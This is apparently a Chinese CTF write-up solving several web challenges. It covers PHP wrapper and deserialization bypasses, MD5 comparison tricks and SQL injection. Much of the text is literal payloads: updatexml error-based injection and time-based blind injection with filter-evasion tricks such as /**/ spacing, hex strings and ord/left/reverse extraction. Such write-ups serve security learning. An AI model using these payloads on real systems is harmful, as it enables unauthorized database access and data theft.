摸鱼划水玩了两天做了一点题目,现在放上wp

Web

nizhuansiwei

进入题目代码审计

发现是三层绕过:

  • text,file_get_contents,利用php://input
  • file,include,php://filter/read=convert.base64-encode/resource=useless.php
  • password反序列化

先绕过前两个查看useless.php的内容

payload
页面显示
base64解码
生成反序列化参数
生成反序列化参数

组成最后的payload得到flag,第二次失败了没截到图

Babyphp

md5强比较,数组绕过

ps:弱比较用科学计数法绕过

param1=QNKCDZO&param2=aabg7XSs

Babysql

提示二次注入,注册admin"#1登陆改密码,登陆admin一气呵成,发现没有flag

admin页面

利用改密码的update报错来进行报错注入,注入点是双引号闭合,过滤了and空格,用+和()绕过空格过滤,or代替and

注册账号进行报错注入

admin:"or+(updatexml(0x3a,concat(1,(database())),1))# 爆库名
库名
admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(table_name)from(information_schema.tables)where+table_schema=database())),1))# 爆表名
表名
admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(column_name)from(information_schema.columns)where+table_name=0x666c6167)),1))# 爆flag表字段,这里用16进制绕过了单引号过滤
flag表的flag字段,其实真实flag不在这,被骗了
admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(column_name)from(information_schema.columns)where+table_name=0x7573657273)),1))# 爆users表字段
users表的字段
admin:"or+(updatexml(0x3a,concat(1,(select+group_concat(real_flag_1s_here)from(users)where+locate(0x666c6167,real_flag_1s_here)>0)),1))# 爆flag,注册的用户太多,报错注入显示有限,这里用locate查找flag
真的flag

录取查询

进入题目F12提示dirsearch,御剑扫后台得到backup.rar考生信息,可以登录进卡题

hint提示waf过滤空格的时间盲注,有思路

RealW'or(if(length(database())=6,sleep(4),1))# 得到库长度
RealW'or(if(left(database(),1)='s',sleep(4),1))#库名第一位是s
RealW'or(if(left(database(),2)='sc',sleep(4),1))#库名第二位是c
RealW'or(if(left(database(),3)='sch',sleep(4),1))#库名第三位是h
猜测为school
RealW'or(if(left(database(),6)='school',sleep(4),1))#库名是school

//爆表,用/**/绕过空格过滤
//过滤了mid,right,substr,用left
//其实后面发现可以用left(reverse(left(str,x)),1)得到任意位
RealW'or(if(left((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),1)='f',sleep(4),1))# 爆第一个表的第一位为f
//猜测为flag
//错误
//猜测为fl4g
//成功
RealW'or(if(left((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),4)='fl4g',sleep(4),1))#当前库第一个表是fl4g

//爆字段
RealW'or(if(left((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c3467/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),1)='f',sleep(4),1))#fl4g表的第一个字段第一位是f
//猜测为fl4g,成功
RealW'or(if(left((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c3467/**/ORDER/**/BY/**/table_name/**/limit/**/0,1),4)='fl4g',sleep(4),1))#fl4g表的第一个字段是fl4g

//爆flag长度
RealW'or(if(length((select/**/fl4g/**/from/**/fl4g/**/limit/**/0,1))=28,sleep(4),1))#得到长度为28

//爆flag
RealW'or(if(left((select/**/fl4g/**/from/**/fl4g/**/limit/**/0,1),28)=concat('xgctf{babysq1_an','d_ruilin_nb}'),sleep(4),1))# and被过滤用concat连接字符串
//xgctf{babysq1_and_ruilin_nb},提交发现错误,发现是大小写问题

//ascii被过滤,用ord,配合left(reverse(left(str,x)),1)得到任意位的ascii码,判断每一位大小写
RealW'or(if(ord(left(reverse(left((select/**/fl4g/**/from/**/fl4g/**/limit/**/0,1),1)),1))=120,sleep(4),1))#

//xgctf{babySq1_aNd_RuiLin_NB},ac

至此wp结束,有些太水没有意义的题目就不放上来了

届ける言葉を今は育ててる
最后更新于 2023-09-03